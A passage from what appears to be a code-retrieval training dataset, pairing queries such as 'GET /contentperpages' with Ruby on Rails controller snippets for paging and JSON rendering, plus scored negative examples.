"0.6245744",
"0.6236431",
"0.62341917",
"0.62233645",
"0.62233645",
"0.62140155",
"0.62102777",
"0.6207253",
"0.6203443",
"0.62018126",
"0.6201768",
"0.61961704",
"0.61951",
"0.6191362",
"0.61899966",
"0.6186175",
"0.61849165",
"0.6182183",
"0.61818075",
"0.61806965",
"0.6177519",
"0.6177143",
"0.6176161",
"0.6176161",
"0.61757135",
"0.61695397"
] |
0.7314413
|
0
|
GET /contentperpages GET /contentperpages.json
|
def index
@contentperpages = Contentperpage.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pages\n project_size = Project.all.length\n\n puts project_size\n\n respond_to do |format|\n format.json {\n @pages = (project_size/10.0).ceil\n render :json => @pages \n }\n end\n end",
"def index\n respond_to do |format|\n format.html\n format.json do\n collections = Collection.where.not(published_at: nil)\n .order(published_at: :desc)\n .page(params[:page])\n .per(Collection::COLLECTION_PER)\n is_more_load = collections.total_pages > params[:page].to_i\n render json: { collections: collections, is_more_load: is_more_load }\n end\n end\n end",
"def pages\n get(\"v1/account/#{@email}/pages\")\n end",
"def index\n respond_with(@pages = Page.all.paginate(:page => params[:page] || 1, :per_page => params[:per_page] || 5))\n end",
"def index\n page = params[:page]\n per_page = params[:per_page]\n\n posts = Post.order(published_at: :desc).page(page).per(per_page)\n\n # Передаём в заголовке общее количество страниц и записей.\n response.headers['Total-Pages'] = posts.total_pages\n response.headers['Total-Count'] = posts.total_count\n\n render json: posts\n end",
"def index\n @pages = Page.page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def get_pages(options = nil)\n @client.raw('get', '/content/pages', options)\n end",
"def num_pages\n \n # Retrieve postings that match the given conditions\n postings = getPostings(params)\n \n # Escapes the case when @postings is nil\n num_pages = postings.blank? ? 0 : postings.num_pages\n \n respond_to do |format|\n format.json { render json: num_pages }\n end\n \n end",
"def index\n @contents = Content.order('created_at DESC').paginate(:page => params[:page], :per_page => 20)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contents }\n end\n end",
"def count_page\n num_pages = current_cookbook.num_pages\n render json: {num_pages: num_pages}\n end",
"def per_page\n 10\n end",
"def set_contentperpage\n @contentperpage = Contentperpage.find(params[:id])\n end",
"def index\n @pages = Page.all\n render json: @pages\n end",
"def per_page; end",
"def get_page_data(json_file)\n pages = {}\n pages[\"page_count\"] = json_file[\"pagination\"][\"page_count\"]\n pages[\"page_number\"] = json_file[\"pagination\"][\"page_number\"]\n return pages\n end",
"def index\n page_id = params[:page] || 1\n @articles = Article.order('comments_count desc').page(page_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end",
"def posts_per_page\n 20\n end",
"def index\n @pages = Page.paginate(page: params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: Page.roots.map{|r| r.node}}\n end\n end",
"def per_page\n 1_000\n end",
"def index\n per_page = params[:per_page] ? params[:per_page] : Post::PER_PAGE\n @posts = Post.by_published_date.paginate(page: params[:page], per_page: per_page)\n # Set count of posts and count of pages to query headers\n add_headers\n render json: @posts\n end",
"def per_page\n @per_page ||= (params[:per_page] || parent.contents_per_page)\n end",
"def pages\n @pages\n end",
"def resource_per_page\n 10\n end",
"def per_page\n DEFAULT_PAGE_SIZE\n end",
"def max_per_page\n 200\n end",
"def pages\n @pages\n end",
"def index\n @pages = current_site.pages\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n render json: Item.paginate(page: params[:page], per_page: 25)\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def pages_in_space(space_key: nil)\n parameters = {\n limit: 1000,\n expand: 'children,ancestors'\n }\n target_url = @base_url + \"/space/#{space_key}/content/page\"\n resp = Typhoeus.get(target_url, params: parameters, userpwd: \"#{@user}:#{@pass}\")\n\n if resp.response_code == 200\n r = JSON.parse(resp.body)\n results = JSON.parse(resp.body)['results']\n end\n end",
"def pages\n @pages \n end",
"def page_size\n 10\n end",
"def pages\n get(\"v1/event/#{@id}/pages\")\n end",
"def get_view_pages(dbname, view)\n pages = {\n :perpage => get_view_pages_perpage(dbname),\n :current => params[:page].nil? ? 1 : params[:page].to_i,\n :items => view.extras[:auth_count]\n }\n if pages[:items] && pages[:perpage]\n pages[:total] = (pages[:items] + pages[:perpage] - 1) / pages[:perpage]\n end\n pages\n end",
"def pages\n return @pages\n end",
"def max_pages() 1 end",
"def view\n \t@parent = params[:parent]\n\n @pages = Page.where(\"digital_edition_id = ?\", @parent).order(\"page_page ASC\").page( params[:page]).per(20)\n\n respond_to do |format|\n format.html # view.html.erb\n format.json { render json: @page }\n end\n end",
"def per_page\n 6\n end",
"def per_page_list\n [[\"10\"], [\"25\"],[\"50\"],[\"100\"],[\"200\"]]\n end",
"def paginate\n @chirps = Post.timeline(current_user).order(\"created_at DESC\").page(params[:page])\n render json: @chirps, status: 200\n end",
"def contentperpage_params\n params.require(:contentperpage).permit(:contentid, :subitemid)\n end",
"def index\n #remove_cache #if params[:page]\n #@articles = #Article.where(:is_published => true)\n @articles = Article.published.paginated(params[:page], 10)\n respond_to do |format|\n\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end",
"def index\n pages = Page.find_by_sql(\"select * from pages\").map { |page| {page: page} }\n if params[:page]\n @pages = get_page_and_offset(13, params[:page].to_i, pages)\n else\n @pages = get_page_and_offset(13, 1, pages)\n end\n\n respond_to do |format|\n format.html\n format.js {render 'paginate_pages.js.erb'}\n end\n end",
"def index\n @pages = Page.all\n \n respond_to do |format|\n format.json { render :json => @pages }\n format.xml { render :xml => @pages }\n end\n end",
"def index\n\t\t@pages = Page.order('created_at DESC').all\n\n\t\trespond_to do |format|\n\t\t\tformat.html #index.html.erb\n\t\t\tformat.json { render json: @pages }\n\t\tend\n\tend",
"def index\n #Page.all is fine for small sets of data, for larger sets pagination would be best\n @pages = data_cache('pages', 10.minutes) do\n Page.all\n end\n respond_to do |format|\n format.json { render action: 'index', status: :ok, location: api_pages_url(@pages) }\n format.xml { render xml: @pages, location: api_pages_url(@pages) }\n end\n end",
"def get_page_contents()\n JSON.parse( \n @client.api.get(\"#{@client.base_uri.path}/api.php?#{URI.encode_www_form({\n :action => 'query',\n :prop => 'info|revisions',\n :titles => BAN_PAGE,\n :rvprop => 'content',\n :intoken => 'edit',\n :indexpageids => 1,\n :format => 'json',\n :cb => rand(1000000)\n })}\", @headers).body,\n :symbolize_names => true\n )[:query]\n end",
"def index # uses paginate\n @articles = Article.paginate page: params[:page], per_page: 10\n #@articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end",
"def page_size\n 50\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.json { render json: @pages }\n format.xml { render xml: @pages }\n end\n end",
"def index\n @products = current_company.products.order('created_at desc').page(params[:page]).per(20)\n render json: @products, meta: {total_pages: @products.total_pages, total_count: @products.total_count}\n end",
"def index\n @pages = Page.all.order(\"id desc\").page(params[:page]).per_page(8)\n \n end",
"def pages\n end",
"def pages\n @pages.values\n end",
"def index\n @urls = @site.urls.paginate(:page => params[:page])\n render json: @urls\n end",
"def index\n @pages = Page.all\n\n respond_with @pages\n end",
"def related_content(options = {})\n api_url = \"/collections/#{self.collection.attributes[:token]}/pages/#{@attributes[:identifier]}/related\"\n response = @muddyit.send_request(api_url, :get, options, nil)\n results = []\n response.each { |result|\n # The return format needs sorting out here .......\n results.push :page => @attributes[:collection].pages.find(result['identifier']), :count => result['count']\n }\n return results\n end",
"def meta_pagination\n {\n itemsCount: collection.total_count,\n pagesCount: collection.total_pages\n }\n end",
"def total_pages; end",
"def page_size\n 25\n end",
"def children\n @pages = @page.children\n \n respond_to do |format|\n format.json { render :json => @pages }\n format.xml { render :xml => @pages }\n end\n end",
"def index\n @pages = Page.all.sort{|a, b| [a.data_row, a.data_col] <=> [b.data_row, b.data_col] }.paginate(:per_page => 16, :page => params[:page] || 1)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n respond_with(@pages)\n end",
"def index\n @pages = Page.all\n respond_with(@pages)\n end",
"def pages; end",
"def index\n @pagamentos = Pagamento.page(params[:page]).per(NUMERO_POR_PAGINA)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pagamentos }\n end\n end",
"def pages()\n get('subAccountPages')\n end",
"def per_page\n return unless response.headers['PaginationPerPage']\n response.headers['PaginationPerPage'].to_i\n end",
"def per_page\n params[\"length\"].to_i\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html {render :layout => \"layout_1\"}\n format.json { render json: @pages }\n end\n end",
"def get_all_page_blocks\n @page = ContentPage.where('name = ?', params[:name]).first\n @blocks = PageBlock.where({:content_page_id => @page.id}).order('order_count')\n\n respond_to do |format|\n format.json { render :json => @blocks }\n format.xml { render :xml => @blocks }\n end\n end",
"def index\n @sites = current_user.sites.page(params[\"page\"])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end",
"def index\n @articles = Article.order(\"created_at DESC\").paginate(:page=>params[:page],:per_page=>40)\n\n respond_to do |format|\n format.html # index.html.erb\n# format.json { render json: @articles }\n end\n end",
"def index\n @articles = Article.order('published_at DESC').page(params[:page]).per(5)\n\n respond_to do |format|\n format.html { render :layout => false if request.xhr? }\n format.json { render json: @articles }\n end\n end",
"def per_page\n collection.limit_value\n end",
"def page\n raise 'page() requires a block' unless block_given?\n\n response = yield(1)\n num_records = response['size']\n\n if num_records.is_a?(Integer) && num_records > 25\n pages = (num_records / 25) + 1\n # start at 2 since first call returned first page\n for counter in 2..pages\n @logger.debug \"Retrieving page #{counter} of #{pages}\"\n results = yield(counter)['results']\n response['results'].concat(results) if results\n end\n end\n\n hash_response(response)\n end",
"def index\n respond_with(pages)\n end",
"def items_per_page\n \t10\n end",
"def index\n # Paginate will still grab all articles but display them a specific amount per page\n @articles = Article.paginate(page: params[:page], per_page: 5)\n end",
"def index\n @content_pages = ContentPage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @content_pages }\n end\n end",
"def per_page\n pagination_adapter.per_page\n end",
"def per_page; @opts['per_page']; end",
"def index\n get_own_documents\n if @page > @pages_amount && @pages_amount != 0\n @page = @pages_amount\n get_own_documents\n end\n render_js_or_html_index\n end",
"def render_paginated(resource, opts = {})\n render json: resource, root: 'items', meta: {}\n end",
"def num_pages\n 26\n end",
"def index\n @pages = Page.all\n respond_with(@pages)\n end",
"def index\n #@long_pages = LongPage.all\n @long_pages = LongPage.all.page params[:page]\n end",
"def index\n paginate json: @board.posts.page(params[:page]), per_page: 20\n end",
"def index\n#\t\t@search = Content.search(params[:search])\n#\t\t@contents = @search.paginate(:page => params[:page], :per_page => 15)\n @contents = Content.all\n respond_with(@contents)\n end",
"def index\n @declaration_containers = @declaration.declaration_containers.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @declaration_containers }\n end\n end",
"def index\n @backend_user_content_reports = Backend::UserContentReport.paginate(:order => 'created_at DESC', :page => params[:page], :per_page => 50)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @backend_user_content_reports }\n end\n end",
"def index\n @posts = Post.paginate(page: params[:page], per_page:15)\n end",
"def per_page\n (params[:per_page] || 10).to_i\n end"
] |
[
"0.74854624",
"0.69791067",
"0.67317206",
"0.67220896",
"0.66817164",
"0.6681638",
"0.6668635",
"0.66148823",
"0.66008604",
"0.65884984",
"0.65853417",
"0.65749717",
"0.65550464",
"0.65483326",
"0.6512134",
"0.6512056",
"0.6495431",
"0.64908034",
"0.6466655",
"0.646083",
"0.64487267",
"0.64394444",
"0.6417972",
"0.64131045",
"0.6413063",
"0.6381285",
"0.63627666",
"0.63556266",
"0.63537014",
"0.63537014",
"0.63537014",
"0.63537014",
"0.63537014",
"0.63537014",
"0.63537014",
"0.6331716",
"0.63154083",
"0.6304862",
"0.63001925",
"0.62771004",
"0.6263606",
"0.62609506",
"0.6245494",
"0.62429625",
"0.62417215",
"0.62408376",
"0.62391454",
"0.62345177",
"0.6229398",
"0.62270916",
"0.62243706",
"0.6217432",
"0.62161833",
"0.6209464",
"0.6192846",
"0.61903983",
"0.6184276",
"0.6172357",
"0.6171048",
"0.6169974",
"0.61589646",
"0.6156243",
"0.61557084",
"0.6153095",
"0.6144526",
"0.6134279",
"0.61330295",
"0.61213505",
"0.6119043",
"0.61015105",
"0.61015105",
"0.60858977",
"0.6084056",
"0.60838276",
"0.60821617",
"0.60670966",
"0.60406256",
"0.6035094",
"0.60281414",
"0.6024384",
"0.60228854",
"0.6022159",
"0.60194695",
"0.6019308",
"0.60151833",
"0.60117394",
"0.6011136",
"0.6009652",
"0.6008395",
"0.6004869",
"0.6002033",
"0.59998107",
"0.59907293",
"0.59820235",
"0.5977469",
"0.59762466",
"0.597149",
"0.5969447",
"0.5960173",
"0.59558874"
] |
0.74143445
|
1
|
GET /contentperpages/1 GET /contentperpages/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @contentperpages = Contentperpage.all\n end",
"def pages\n project_size = Project.all.length\n\n puts project_size\n\n respond_to do |format|\n format.json {\n @pages = (project_size/10.0).ceil\n render :json => @pages \n }\n end\n end",
"def set_contentperpage\n @contentperpage = Contentperpage.find(params[:id])\n end",
"def index\n respond_to do |format|\n format.html\n format.json do\n collections = Collection.where.not(published_at: nil)\n .order(published_at: :desc)\n .page(params[:page])\n .per(Collection::COLLECTION_PER)\n is_more_load = collections.total_pages > params[:page].to_i\n render json: { collections: collections, is_more_load: is_more_load }\n end\n end\n end",
"def index\n @pages = Page.page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @contents = Content.order('created_at DESC').paginate(:page => params[:page], :per_page => 20)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contents }\n end\n end",
"def index\n @pages = Page.all\n render json: @pages\n end",
"def index\n respond_with(@pages = Page.all.paginate(:page => params[:page] || 1, :per_page => params[:per_page] || 5))\n end",
"def index\n page = params[:page]\n per_page = params[:per_page]\n\n posts = Post.order(published_at: :desc).page(page).per(per_page)\n\n # Передаём в заголовке общее количество страниц и записей.\n response.headers['Total-Pages'] = posts.total_pages\n response.headers['Total-Count'] = posts.total_count\n\n render json: posts\n end",
"def count_page\n num_pages = current_cookbook.num_pages\n render json: {num_pages: num_pages}\n end",
"def index\n page_id = params[:page] || 1\n @articles = Article.order('comments_count desc').page(page_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end",
"def view\n \t@parent = params[:parent]\n\n @pages = Page.where(\"digital_edition_id = ?\", @parent).order(\"page_page ASC\").page( params[:page]).per(20)\n\n respond_to do |format|\n format.html # view.html.erb\n format.json { render json: @page }\n end\n end",
"def pages\n get(\"v1/account/#{@email}/pages\")\n end",
"def index\n @pages = Page.paginate(page: params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: Page.roots.map{|r| r.node}}\n end\n end",
"def get_pages(options = nil)\n @client.raw('get', '/content/pages', options)\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = current_site.pages\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def num_pages\n \n # Retrieve postings that match the given conditions\n postings = getPostings(params)\n \n # Escapes the case when @postings is nil\n num_pages = postings.blank? ? 0 : postings.num_pages\n \n respond_to do |format|\n format.json { render json: num_pages }\n end\n \n end",
"def per_page\n @per_page ||= (params[:per_page] || parent.contents_per_page)\n end",
"def per_page; end",
"def get_page_contents()\n JSON.parse( \n @client.api.get(\"#{@client.base_uri.path}/api.php?#{URI.encode_www_form({\n :action => 'query',\n :prop => 'info|revisions',\n :titles => BAN_PAGE,\n :rvprop => 'content',\n :intoken => 'edit',\n :indexpageids => 1,\n :format => 'json',\n :cb => rand(1000000)\n })}\", @headers).body,\n :symbolize_names => true\n )[:query]\n end",
"def pages\n @pages\n end",
"def get_page_data(json_file)\n pages = {}\n pages[\"page_count\"] = json_file[\"pagination\"][\"page_count\"]\n pages[\"page_number\"] = json_file[\"pagination\"][\"page_number\"]\n return pages\n end",
"def pages\n @pages\n end",
"def pages\n @pages \n end",
"def per_page\n 10\n end",
"def index\n @pages = Page.all\n \n respond_to do |format|\n format.json { render :json => @pages }\n format.xml { render :xml => @pages }\n end\n end",
"def index\n #remove_cache #if params[:page]\n #@articles = #Article.where(:is_published => true)\n @articles = Article.published.paginated(params[:page], 10)\n respond_to do |format|\n\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n render json: Item.paginate(page: params[:page], per_page: 25)\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html {render :layout => \"layout_1\"}\n format.json { render json: @pages }\n end\n end",
"def index\n per_page = params[:per_page] ? params[:per_page] : Post::PER_PAGE\n @posts = Post.by_published_date.paginate(page: params[:page], per_page: per_page)\n # Set count of posts and count of pages to query headers\n add_headers\n render json: @posts\n end",
"def index\n\t\t@pages = Page.order('created_at DESC').all\n\n\t\trespond_to do |format|\n\t\t\tformat.html #index.html.erb\n\t\t\tformat.json { render json: @pages }\n\t\tend\n\tend",
"def per_page\n 1_000\n end",
"def index\n #Page.all is fine for small sets of data, for larger sets pagination would be best\n @pages = data_cache('pages', 10.minutes) do\n Page.all\n end\n respond_to do |format|\n format.json { render action: 'index', status: :ok, location: api_pages_url(@pages) }\n format.xml { render xml: @pages, location: api_pages_url(@pages) }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.json { render json: @pages }\n format.xml { render xml: @pages }\n end\n end",
"def index\n pages = Page.find_by_sql(\"select * from pages\").map { |page| {page: page} }\n if params[:page]\n @pages = get_page_and_offset(13, params[:page].to_i, pages)\n else\n @pages = get_page_and_offset(13, 1, pages)\n end\n\n respond_to do |format|\n format.html\n format.js {render 'paginate_pages.js.erb'}\n end\n end",
"def max_pages() 1 end",
"def index\n @pagamentos = Pagamento.page(params[:page]).per(NUMERO_POR_PAGINA)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pagamentos }\n end\n end",
"def index\n @pages = Page.all.order(\"id desc\").page(params[:page]).per_page(8)\n \n end",
"def pages\n end",
"def index\n @declaration_containers = @declaration.declaration_containers.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @declaration_containers }\n end\n end",
"def contentperpage_params\n params.require(:contentperpage).permit(:contentid, :subitemid)\n end",
"def index\n @pages = Page.all\n\n respond_with @pages\n end",
"def paginate\n @chirps = Post.timeline(current_user).order(\"created_at DESC\").page(params[:page])\n render json: @chirps, status: 200\n end",
"def index\n @sites = current_user.sites.page(params[\"page\"])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end",
"def related_content(options = {})\n api_url = \"/collections/#{self.collection.attributes[:token]}/pages/#{@attributes[:identifier]}/related\"\n response = @muddyit.send_request(api_url, :get, options, nil)\n results = []\n response.each { |result|\n # The return format needs sorting out here .......\n results.push :page => @attributes[:collection].pages.find(result['identifier']), :count => result['count']\n }\n return results\n end",
"def index # uses paginate\n @articles = Article.paginate page: params[:page], per_page: 10\n #@articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end",
"def pages; end",
"def index\n get_own_documents\n if @page > @pages_amount && @pages_amount != 0\n @page = @pages_amount\n get_own_documents\n end\n render_js_or_html_index\n end",
"def index\n @urls = @site.urls.paginate(:page => params[:page])\n render json: @urls\n end",
"def index\n @content_pages = ContentPage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @content_pages }\n end\n end",
"def pages_in_space(space_key: nil)\n parameters = {\n limit: 1000,\n expand: 'children,ancestors'\n }\n target_url = @base_url + \"/space/#{space_key}/content/page\"\n resp = Typhoeus.get(target_url, params: parameters, userpwd: \"#{@user}:#{@pass}\")\n\n if resp.response_code == 200\n r = JSON.parse(resp.body)\n results = JSON.parse(resp.body)['results']\n end\n end",
"def index\n @pages = Page.all\n respond_with(@pages)\n end",
"def index\n @pages = Page.all\n respond_with(@pages)\n end",
"def per_page\n DEFAULT_PAGE_SIZE\n end",
"def index\n @pages = Page.all.sort{|a, b| [a.data_row, a.data_col] <=> [b.data_row, b.data_col] }.paginate(:per_page => 16, :page => params[:page] || 1)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def pages\n get(\"v1/event/#{@id}/pages\")\n end",
"def pages\n return @pages\n end",
"def index\n #@long_pages = LongPage.all\n @long_pages = LongPage.all.page params[:page]\n end",
"def children\n @pages = @page.children\n \n respond_to do |format|\n format.json { render :json => @pages }\n format.xml { render :xml => @pages }\n end\n end",
"def index\n\n # find all pages\n @pages = Page.all\n\n # send data in different format\n respond_to do |format|\n format.html{render :template => 'mcms_pages/admin/pages/index'}# index.html.erb\n format.json { render json: @pages }\n end # end respond_to\n\n end",
"def index\n @instances = Instance.page params[:page]\n authorize! :read, @instances\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @instances }\n end\n end",
"def index\n @pages = Page.all\n respond_with(@pages)\n end",
"def index\n @products = current_company.products.order('created_at desc').page(params[:page]).per(20)\n render json: @products, meta: {total_pages: @products.total_pages, total_count: @products.total_count}\n end",
"def index\n @ideas = current_user.ideas.page(params[\"page\"])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ideas }\n end\n end",
"def posts_per_page\n 20\n end",
"def index\n @sites = Site.paginate(:page=>params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end",
"def index\n # @content_entries = Content::Entry.all \n @content_entries = Content::Entry.order(\"title DESC\").page params[:page] \n end",
"def index\n @klasses = Klass.paginate(:page => params[:page], per_page: 30)\n @number = Klass.count\n\n respond_to do |format|\n format.html\n format.json { render :json => Klass.all.to_json(include: :period) }\n end\n end",
"def index\n @count = @selected_entries.count\n @entries = @selected_entries.page(@page)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entries }\n end\n end",
"def index\n#\t\t@search = Content.search(params[:search])\n#\t\t@contents = @search.paginate(:page => params[:page], :per_page => 15)\n @contents = Content.all\n respond_with(@contents)\n end",
"def page\n raise 'page() requires a block' unless block_given?\n\n response = yield(1)\n num_records = response['size']\n\n if num_records.is_a?(Integer) && num_records > 25\n pages = (num_records / 25) + 1\n # start at 2 since first call returned first page\n for counter in 2..pages\n @logger.debug \"Retrieving page #{counter} of #{pages}\"\n results = yield(counter)['results']\n response['results'].concat(results) if results\n end\n end\n\n hash_response(response)\n end",
"def get_page\n render_page_sections_json\n end",
"def index\n @backend_user_content_reports = Backend::UserContentReport.paginate(:order => 'created_at DESC', :page => params[:page], :per_page => 50)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @backend_user_content_reports }\n end\n end",
"def get_all_page_blocks\n @page = ContentPage.where('name = ?', params[:name]).first\n @blocks = PageBlock.where({:content_page_id => @page.id}).order('order_count')\n\n respond_to do |format|\n format.json { render :json => @blocks }\n format.xml { render :xml => @blocks }\n end\n end",
"def index\n @cards = Card.page(params[:page]).per(7)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cards }\n end\n end",
"def resource_per_page\n 10\n end",
"def index\n @links = Link.paginate(page: params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @links }\n end\n end",
"def index\n @publishers = Publisher.order(\"id DESC\").page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @publishers }\n end\n end",
"def per_page\n 6\n end",
"def get_view_pages(dbname, view)\n pages = {\n :perpage => get_view_pages_perpage(dbname),\n :current => params[:page].nil? ? 1 : params[:page].to_i,\n :items => view.extras[:auth_count]\n }\n if pages[:items] && pages[:perpage]\n pages[:total] = (pages[:items] + pages[:perpage] - 1) / pages[:perpage]\n end\n pages\n end",
"def pages\n @pages.values\n end",
"def index\n @page_layouts = PageLayout.order(\"id ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @page_layouts }\n end\n end",
"def total_pages; end",
"def index\n @articles = Article.order(\"created_at DESC\").paginate(:page=>params[:page],:per_page=>40)\n\n respond_to do |format|\n format.html # index.html.erb\n# format.json { render json: @articles }\n end\n end",
"def index\n respond_with(pages)\n end",
"def fetch_page\n url = URI([API, @url].join) # *hiss* \"URI\" has been wrong for years!\n\n unless @args.empty?\n url.query = URI.encode_www_form(@args.merge({ page: @page }))\n end\n\n res = Net::HTTP.get_response(url)\n raise SRL::NetworkError, res unless res.is_a?(Net::HTTPSuccess)\n\n data = JSON.parse(res.body)\n @page += 1\n\n ResultSet.new(\n SRL::Utils.collection(data.fetch(@args[:pkey]), @klass),\n count: data.fetch('count', data.fetch(@args[:pkey]).size),\n page: (@page - 1),\n page_size: @args.fetch(:pageSize, 25)\n )\n end",
"def page_size\n 10\n end",
"def max_per_page\n 200\n end",
"def index\n @pages = Page.paginate :page => params[:page], :order => 'id DESC'\n end",
"def index\n @about_pages = AboutPage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @about_pages }\n end\n end",
"def index\n @pages = Page.paginate(\n :select => 'id, name, protected', \n :page => params[:page], \n :order => sort_calc('name', {:table => 'pages'})\n )\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format| \n format.json {render json: @pages}\n format.xml {render xml: @pages}\n end\n\n end",
"def per_page_list\n [[\"10\"], [\"25\"],[\"50\"],[\"100\"],[\"200\"]]\n end"
] |
[
"0.7519971",
"0.73810714",
"0.69596297",
"0.6845108",
"0.6837901",
"0.6744085",
"0.6690901",
"0.6688018",
"0.6640872",
"0.6610267",
"0.6609181",
"0.6579637",
"0.65564114",
"0.65562",
"0.65513533",
"0.65462697",
"0.65462697",
"0.65462697",
"0.65462697",
"0.65462697",
"0.65462697",
"0.65462697",
"0.6521574",
"0.6512388",
"0.64771175",
"0.6474674",
"0.64503074",
"0.643351",
"0.64009964",
"0.63943344",
"0.638615",
"0.6374067",
"0.6362962",
"0.63564765",
"0.63504434",
"0.63461125",
"0.63359064",
"0.6326441",
"0.632622",
"0.6314504",
"0.6303823",
"0.63026655",
"0.6293593",
"0.6292763",
"0.6286523",
"0.6272151",
"0.624024",
"0.62331057",
"0.62308806",
"0.6229418",
"0.6223277",
"0.6211118",
"0.61934525",
"0.61922926",
"0.61906165",
"0.6185417",
"0.61846536",
"0.61709064",
"0.6167702",
"0.61676806",
"0.61676806",
"0.61617243",
"0.615802",
"0.6146988",
"0.61434823",
"0.613614",
"0.61096555",
"0.6103867",
"0.61033887",
"0.60994136",
"0.60870355",
"0.6080067",
"0.6074302",
"0.6073748",
"0.60642815",
"0.60606307",
"0.60578126",
"0.6056126",
"0.60501885",
"0.60487485",
"0.60478365",
"0.60406804",
"0.6039007",
"0.60285586",
"0.60252565",
"0.60211533",
"0.6021076",
"0.602034",
"0.6016735",
"0.601542",
"0.6005823",
"0.6003608",
"0.60035044",
"0.60018146",
"0.5997486",
"0.5994535",
"0.5983216",
"0.5977457",
"0.5975442",
"0.59744555",
"0.59679466"
] |
0.0
|
-1
|
POST /contentperpages POST /contentperpages.json
|
def create
@contentperpage = Contentperpage.new(contentperpage_params)
respond_to do |format|
if @contentperpage.save
format.html { redirect_to @contentperpage, notice: 'Contentperpage was successfully created.' }
format.json { render :show, status: :created, location: @contentperpage }
else
format.html { render :new }
format.json { render json: @contentperpage.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def contentperpage_params\n params.require(:contentperpage).permit(:contentid, :subitemid)\n end",
